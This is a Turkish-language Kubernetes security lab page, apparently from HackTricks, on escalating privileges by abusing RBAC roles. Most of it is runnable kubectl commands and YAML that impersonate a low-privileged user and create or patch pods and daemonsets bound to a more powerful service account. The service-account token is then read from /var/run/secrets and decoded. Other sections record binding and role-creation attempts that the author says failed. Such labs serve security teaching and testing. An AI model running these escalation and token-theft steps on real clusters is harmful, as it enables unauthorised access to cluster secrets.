Kubernetes Rollerinin Suistimali Laboratuvarı

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Bu laboratuvarları sadece minikube içinde çalıştırabilirsiniz.

Pod Oluşturma -> ns SAs’a Yükseltme

Şunları oluşturacağız:

  • Gizli bilgileri okuma yetkisine sahip bir Hizmet hesabı “test-sa”
  • Bir ClusterRole “test-cr” ve bir ClusterRoleBinding “test-crb” oluşturulacak
  • Test adında bir kullanıcıya podları listeleme ve oluşturma yetkisi verilecek
  • Bir Role “test-r” ve RoleBinding “test-rb” oluşturulacak
  • Ardından SA’nın gizli bilgileri listeleyebildiğini ve Test kullanıcısının podları listeleyebildiğini doğrulayacağız
  • Son olarak, Test kullanıcısını taklit ederek test-sa SA’sını içeren bir pod oluşturacağız ve hizmet hesabı token’ını çalacağız.
  • Bu, kullanıcının bu şekilde yetkileri nasıl artırabileceğini gösterir

Note

Senaryoyu oluşturmak için bir yönetici hesabı kullanılır.
Ayrıca, bu örnekte sa token’ını dışarı aktarmak için yönetici hesabı kullanılır ve oluşturulan podun içine exec yapılır. Ancak, burada açıklandığı gibi, podun beyanı token’ın dışarı aktarımını içerebilir, bu nedenle “exec” yetkisi token’ı dışarı aktarmak için gerekli değildir, “oluşturma” izni yeterlidir.

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Daemonset Oluşturma

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

Bu durumda, pod’unun istediğimiz hizmet hesabını yüklemesi için bir daemonset’i yamalayacağız.

Eğer kullanıcınızın patch yerine update eylemi varsa, bu çalışmayacaktır.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Çalışmıyor

Bağlantılar Oluştur/Patch

Çalışmıyor:

  • Yeni bir RoleBinding oluşturun sadece create fiili ile
  • Yeni bir RoleBinding oluşturun sadece patch fiili ile (bağlantı izinlerine sahip olmanız gerekir)
  • Bu işlemi rolü kendinize veya farklı bir SA’ya atamak için yapamazsınız
  • Yeni bir RoleBinding’i değiştirin sadece patch fiili ile (bağlantı izinlerine sahip olmanız gerekir)
  • Bu işlemi rolü kendinize veya farklı bir SA’ya atamak için yapamazsınız
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

“Yetki Yükseltme Önleme ve Başlatma” bölümünde https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ bir SA’nın bir Binding oluşturabileceği ve Role/Cluster role üzerinde açıkça Bind izinlerine sahip olması durumunda, sahip olmadığı izinlere sahip Roles/ClusterRoles kullanarak bile bindingler oluşturabileceği belirtiliyor.
Ancak, benim için çalışmadı:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa

# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Keyfi rol oluşturma

Bu örnekte, rol kaynakları üzerinde create ve path izinlerine sahip bir rol oluşturmaya çalışıyoruz. Ancak, K8s, oluşturulan rolün sahip olduğu izinlerden daha fazla izinle bir rol oluşturmamıza engel olur:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin